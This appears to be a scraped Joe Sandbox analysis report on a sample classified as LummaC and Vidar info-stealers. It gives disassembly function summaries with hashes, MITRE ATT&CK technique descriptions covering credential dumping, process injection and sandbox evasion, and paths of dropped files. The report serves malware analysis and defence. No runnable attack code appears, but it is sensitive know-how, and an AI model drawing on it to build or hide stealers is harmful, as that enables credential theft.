Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position
API String ID: 3404309857-1799206989
Opcode ID: c6cedd6faa5025a2771478dbfc733c3a780b2f7df36657e699a57c216a74702b
Instruction ID: fbfaa16947e7a18c21b1bdb5dba45c0af645c7aa01d088c53fe7116d193b09d6
Opcode Fuzzy Hash: c6cedd6faa5025a2771478dbfc733c3a780b2f7df36657e699a57c216a74702b
Instruction Fuzzy Hash: 2011E131304210DBDB24DE6DDC809697365AF49324744063BF815EFAC2C33CED45879A

Function 6CAA3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAA3D19
mozalloc_abort.MOZGLUE(?), ref: 6CAA3D6C

Strings

d, xrefs: 6CAA3D58

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 4e45fe712c517d13cc52a05667c8c1385a5438523ba0a8c9c93553e952be8aad
Instruction ID: 26480d3ea245e8f96332cfee04d77a6c153288d26fd1f42432761963f6b206ce
Opcode Fuzzy Hash: 4e45fe712c517d13cc52a05667c8c1385a5438523ba0a8c9c93553e952be8aad
Instruction Fuzzy Hash: A8110431E04789DBDF048BA9C8144EDB775EF8A218B488718DC85A7612EB30E5CAC790

Function 0040F34D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F35C

Part of subcall function 0042ED95: std::exception::exception.LIBCMT ref: 0042EDAA
Part of subcall function 0042ED95: __CxxThrowException@8.LIBCMT ref: 0042EDBF
Part of subcall function 0042ED95: std::exception::exception.LIBCMT ref: 0042EDD0

memmove.MSVCRT(0040EEBE,0040EEBE,C6C68B00,0040EEBE,0040EEBE,0040F15F,?,?,?,0040F1DF,?,?,?,75920440,?,-00000001), ref: 0040F392

Strings

invalid string position, xrefs: 0040F357

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentmemmovestd::_
String ID: invalid string position
API String ID: 1659287814-1799206989
Opcode ID: 7d8f6d5feb5391cfea95de1602bb5e90269e9adafcdbed1415718121556ab33c
Instruction ID: 017d91eac88829acffdc82267225c38794c4a5018ef21456ed221e4776d6775e
Opcode Fuzzy Hash: 7d8f6d5feb5391cfea95de1602bb5e90269e9adafcdbed1415718121556ab33c
Instruction Fuzzy Hash: 2101AD713007018BD7348E7989C491FB6A2EB85B20730493ED982D7B85DB7CE84E8398

Function 0042831D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

strcpy_s.MSVCRT ref: 0042832E
__invoke_watson.LIBCMT ref: 00428382

Part of subcall function 004281BD: _strcat_s.LIBCMT ref: 004281DC

Strings

,NC, xrefs: 0042836D

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __invoke_watson_strcat_sstrcpy_s
String ID: ,NC
API String ID: 1132195725-1329140791
Opcode ID: 731b6ac6b642e3e8e5147aea8b100b6241764734f43c48f2503a638a59afb5d8
Instruction ID: 467304aeacb4ec20437295039cf0737291209b8e2ba4a9c6c9b863e375567216
Opcode Fuzzy Hash: 731b6ac6b642e3e8e5147aea8b100b6241764734f43c48f2503a638a59afb5d8
Instruction Fuzzy Hash: AFF0FC725412187BCF116E91DC42EDB3F6DAF44750F884056FD1845151D737ED50D794

Function 6CAC6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CAC6E22
__Init_thread_footer.LIBCMT ref: 6CAC6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CAC6E1D

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 4b977ac3ac77b0307930569aa055e81a94534d8561355bda6976c927c5f7ad1c
Instruction ID: eb9514893a84f036f58396a6958784844c83c5abb5e4a614d91ca076152459b7
Opcode Fuzzy Hash: 4b977ac3ac77b0307930569aa055e81a94534d8561355bda6976c927c5f7ad1c
Instruction Fuzzy Hash: 75F024307063C28FDA04CB68ED50AE13772E38B218F08816ACC0446B51DB20A987FBE3

Function 0041F509 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0041F53E
DName::DName.LIBCMT ref: 0041F54A

Strings

{flat}, xrefs: 0041F539

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: NameName::
String ID: {flat}
API String ID: 1333004437-2606204563
Opcode ID: d4f2a0f8f0d620f0a38f4231e61e5960c08bd068872e7346d275fef913c0fb9d
Instruction ID: 6914079e6e7eb4a71d8aa98ec26ce6ebfca0f40151d97bebdd5d1c4e4a32150b
Opcode Fuzzy Hash: d4f2a0f8f0d620f0a38f4231e61e5960c08bd068872e7346d275fef913c0fb9d
Instruction Fuzzy Hash: 89F08C31140308AFCB10AF58D405AE43BA2AB4575AF08805AE84C4F293D624D883CB59

Function 0040141E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401436
GlobalMemoryStatusEx.KERNEL32(?), ref: 00401449

Strings

@, xrefs: 00401442

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatus_memset
String ID: @
API String ID: 587104284-2766056989
Opcode ID: cc8e58f030b9a58294aa547ec4afa5a71e030286ac2158c3e4d2ba897faa9268
Instruction ID: fb6c5e95bdbf3cd74dbfc22db3c1f98d6dc2c9140477ca9f1cf6fc3a32f2f9ff
Opcode Fuzzy Hash: cc8e58f030b9a58294aa547ec4afa5a71e030286ac2158c3e4d2ba897faa9268
Instruction Fuzzy Hash: 89E0B8F0D1020C9BDB14DFA5E946B5D77FC9B04704F500069AA05E7181D6B4AA098659

Function 6CABB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CABB2C9,?,?,?,6CABB127,?,?,?,?,?,?,?,?,?,6CABAE52), ref: 6CABB628

Part of subcall function 6CAB90E0: free.MOZGLUE(?,00000000,?,?,6CABDEDB), ref: 6CAB90FF
Part of subcall function 6CAB90E0: free.MOZGLUE(?,00000000,?,?,6CABDEDB), ref: 6CAB9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CABB2C9,?,?,?,6CABB127,?,?,?,?,?,?,?,?,?,6CABAE52), ref: 6CABB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CABB2C9,?,?,?,6CABB127,?,?,?,?,?,?,?,?,?,6CABAE52), ref: 6CABB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CABB127,?,?,?,?,?,?,?,?), ref: 6CABB74D

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 105623b95ad756f5730c2193ee75fe415f61d945270611a97f99308c259c7772
Instruction ID: 764f45e831e3d2a001e99b3d43893bc5011f276cdc6653e740662a37ee062f89
Opcode Fuzzy Hash: 105623b95ad756f5730c2193ee75fe415f61d945270611a97f99308c259c7772
Instruction Fuzzy Hash: B751CD71A023168FDB14CF18E9C06AEB7B9FF45304F498669C85ABB700D731AC84CBA1

Function 6CACB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CA70A4D), ref: 6CACB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CA70A4D), ref: 6CACB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CA70A4D), ref: 6CACB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CA70A4D), ref: 6CACB67F

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 317ff2b483ef46866a668315a748178975ad7b22d6b4ee2ad2fc1cf35ec493ca
Instruction ID: f1c3c0d2c2f9ba363cf920021bf003eeadd6d4f50927d0e1926645cba0e51d9a
Opcode Fuzzy Hash: 317ff2b483ef46866a668315a748178975ad7b22d6b4ee2ad2fc1cf35ec493ca
Instruction Fuzzy Hash: 21310471F002168FDB10DF59D84469ABBF6FF84314F1A8629C8069B301EB32E955CBE2

Function 6CA9F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA9F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CA9F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA9F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CA9F668

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 7e9996055965764749463bbcb0a6110aa6ffb1c27be3863ccd5dde5f8575511b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: B7314F71A10214AFC714CF5DCDC1A9BB7F5EB84358B18853DFA498BB04D671F9848B90

Function 6CAB26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAB26C1
free.MOZGLUE(?), ref: 6CAB26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAB26FF
free.MOZGLUE ref: 6CAB270D

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c08a547d7ffbc197e6734c2f661e85cbbd5eb7698693cefe7a2a386a25a04eb3
Instruction ID: 0173dfc3488f50bd7aa22d195824d642ddfad265d86e27ebb77ad0b07fbf764d
Opcode Fuzzy Hash: c08a547d7ffbc197e6734c2f661e85cbbd5eb7698693cefe7a2a386a25a04eb3
Instruction Fuzzy Hash: 8AF0F9B27013025BF7009E18DC8499773ADEF5525CB140136EA16E3B01E331F999C7A5

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report WiTqtf1aiE.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEHIDAKECF.exe

C:\ProgramData\AFIDGDBGCAAF\AKECBF

C:\ProgramData\AFIDGDBGCAAF\AKECBF-shm

C:\ProgramData\AFIDGDBGCAAF\BFIJEH

C:\ProgramData\AFIDGDBGCAAF\BKEBFH

C:\ProgramData\AFIDGDBGCAAF\CGHDAK

C:\ProgramData\AFIDGDBGCAAF\DBKEGC

C:\ProgramData\AFIDGDBGCAAF\EBFBKF

Windows Analysis Report
WiTqtf1aiE.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
